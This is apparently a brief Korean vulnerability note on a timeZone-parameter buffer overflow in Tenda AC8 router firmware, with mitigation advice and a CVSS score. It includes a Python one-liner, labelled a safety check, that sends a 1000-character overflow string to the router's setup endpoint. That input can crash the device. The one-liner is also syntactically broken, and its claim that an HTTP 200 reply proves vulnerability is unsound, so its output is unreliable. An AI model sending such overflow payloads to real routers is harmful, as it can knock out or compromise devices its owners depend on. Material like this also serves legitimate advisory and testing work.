Tenda AC8 16.03.33.05
원격에서 HTTP 요청을 보내 timeZone 인자를 조작하여 버퍼 오버플로우를 발생시킴
라우터 제조사의 공식 패치 또는 펌웨어 업데이트를 적용하고, 라우터의 관리자 비밀번호를 강력하게 설정하고 정기적으로 변경함
로컬 Linux PC에서 Python을 설치하고, router_ip를 라우터의 IP 주소로 변경하여 코드를 실행합니다. 코드는 라우터의 timeZone 인자에 대한 유효성 검사를 수행하고, 결과를 JSON 형식으로 출력합니다.
python -c "import requests; try: response = requests.get('http://router_ip/goform/fast_setting_wifi_set', params={'timeZone': 'A' * 1000}); if response.status_code == 200: print('{{"result": "취약", "reason": "timeZone 인자에 대한 유효성 검사 실패"}}'); else: print('{{"result": "양호", "reason": "timeZone 인자에 대한 유효성 검사 성공"}}'); except Exception as e: print('{{"result": "오류", "reason": "{}"}}'.format(str(e)))"
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H